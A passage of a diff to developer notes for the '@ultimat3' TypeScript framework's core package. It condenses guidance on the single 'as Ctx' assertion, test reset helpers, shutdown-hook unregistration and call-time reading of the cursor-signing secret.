- full `bun run verify` — never folded into another branch.
203
+ - `Ctx` carries a string index signature so apps can augment `CtxServices`; the cost is that
204
+ `ctx.anything` type-checks as `unknown`. Deleting it is a breaking change, measured to compile
205
+ core clean; land it alone, with a full `bun run verify`.
514
206
  - **`Ctx extends CtxFacts, CtxServices`, and `createContext` holds the framework's ONE irreducible
515
- assertion** (`As of 2026-08-24`). Different hole from the bullet above, and the note there —
516
- "an augmentation adds NAMED members and `Ctx extends CtxServices` picks them up with no index
517
- signature at all" — is exactly why: those NAMED members are then REQUIRED of every value typed
518
- `Ctx`, and no framework function can obtain them. They arrive through `init.services` (a
519
- `ServiceBag`, string-indexed) and through `installedServices()`, which returns the same. So
520
- `createContext` cannot type-check its own literal against `Ctx`, and neither could
521
- `@ultimat3/http`'s `createRequestContext`, which failed to compile inside `examples/dummy` with
522
- `TS2739: missing posts, orgs` while this repo's own gate — augmenting nothing — stayed green.
523
-
524
- `CtxFacts` is everything the FRAMEWORK sets; `Ctx` is that plus `CtxServices`. Structurally
525
- identical for a reader, and everything for a constructor. It bought two deletions: the `preview`
526
- assertion is gone (that value is honestly a `CtxFacts`, which is also what a `ServiceFactory`
527
- receives — a factory has never been able to read a sibling service and the type now says so),
528
- and `@ultimat3/http` has **no assertion at all**, because `createRequestContext` composes
529
- `createContext()` instead of building a second context beside it.
530
-
531
- **One `as Ctx` remains and four alternatives were built and measured before it was kept.**
532
- `Partial<CtxServices>` removes it and makes `ctx.posts` `PostRepo | undefined` for every app —
533
- true, and a breaking change to the documented seam. Typing `CtxInit.services` as `CtxServices`
534
- moves the proof to the caller and breaks every internal `createContext()` in an app's program,
535
- because an app typechecks this tree's sources through its project references. A generic
536
- `createContext<S>` returns a context no framework caller can pass where a `Ctx` is wanted. An
537
- overload whose implementation signature returns the looser type compiles only through
538
- TypeScript's documented bivariance hole — the same assertion, laundered. The file header carries
539
- this list; the structural repair is a major and belongs with the index-signature deletion above.
540
- - Tests that touch the registry, the lifecycle or the listener table must call
541
- `resetErrorCodes()` / `resetLifecycle()` / `resetListeners()`.
542
- - `onShutdown`'s return value is the unregister, and every caller that can be started twice owns
543
- it — `@ultimat3/http`'s `server.ts`, `@ultimat3/realtime`'s `listenSyncNode`, `@ultimat3/jobs`'
544
- worker, `@ultimat3/cli`'s `hold.ts`. `shutdownHookCount()` is the test-only probe, the same
545
- shape as `idleWaiterCount()`: a count that climbs across a start/stop cycle is a leak.
546
- - The error-code registry is process-global and every package fills it once, at import time. A
547
- test that resets it must take `errorCodeSnapshot()` first and call the returned undo in
548
- `afterAll` — a reset that is not handed back strips the titles of every package imported before
549
- that file, and their errors render the humanised fallback (`X_DB_DRIFT: db drift`) for the rest
550
- of the run. That is a load-order flake: green locally, red on whichever CI ordering hits it.
551
- - Tests that call `configureCursorSigning()` must restore the previous secret, or call
552
- `resetCursorSigning()` — the only way back to "unconfigured", which restoring a literal cannot
553
- express. The secret itself is read inside `sign()`, never at module scope: `openSecrets()` runs
554
- during boot, so a module-scope read signed a whole process's cursors with the dev key while
555
- `ULTIMATE_CURSOR_SECRET` was set and `x doctor` merely warned. Same call-time rule as
556
- `@ultimat3/auth`'s `oauth-cookie.ts` / `oauth-exchange.ts`; new secrets follow it.
557
- - `PRIMITIVE_KINDS` is the executable copy of the eight-primitive rule — `PrimitiveKind` derives
558
- from it, so the list and the type cannot drift. A ninth entry fails `registrar.test.ts`, which
559
- is the point: a new capability arrives as a factory over an existing primitive (`llm()` returns
560
- an `action`), never as a new kind.
207
+ `as Ctx`.** `CtxFacts` is what the framework sets (and what a `ServiceFactory` receives); an
208
+ augmentation's named members are required of every `Ctx`, and no framework function can obtain
209
+ them. `@ultimat3/http`'s `createRequestContext` composes `createContext()` and has no assertion.
210
+ Four alternatives were measured and refused (listed in the file header); the structural repair is
211
+ a major, alongside the index-signature deletion.
212
+ - Tests that touch the registry, the lifecycle or the listener table call `resetErrorCodes()` /
213
+ `resetLifecycle()` / `resetListeners()` — and a registry reset takes `errorCodeSnapshot()` first
214
+ and restores it in `afterAll`, or every earlier package's titles render humanised for the run.
215
+ - `onShutdown`'s return value is the unregister, owned by every caller that can start twice
216
+ (`@ultimat3/http`'s `server.ts`, `@ultimat3/realtime`'s `listenSyncNode`, `@ultimat3/jobs`' worker,
217
+ `@ultimat3/cli`'s `hold.ts`). `shutdownHookCount()` is the leak probe.
218
+ - Tests calling `configureCursorSigning()` restore the previous secret or call
219
+ `resetCursorSigning()`. The secret is read inside `sign()`, never at module scope; new secrets
220
+ follow the same call-time rule.
221
+
222
+ Why each rule above is shaped the way it is: [`docs/history/core.md`](../../docs/history/core.md).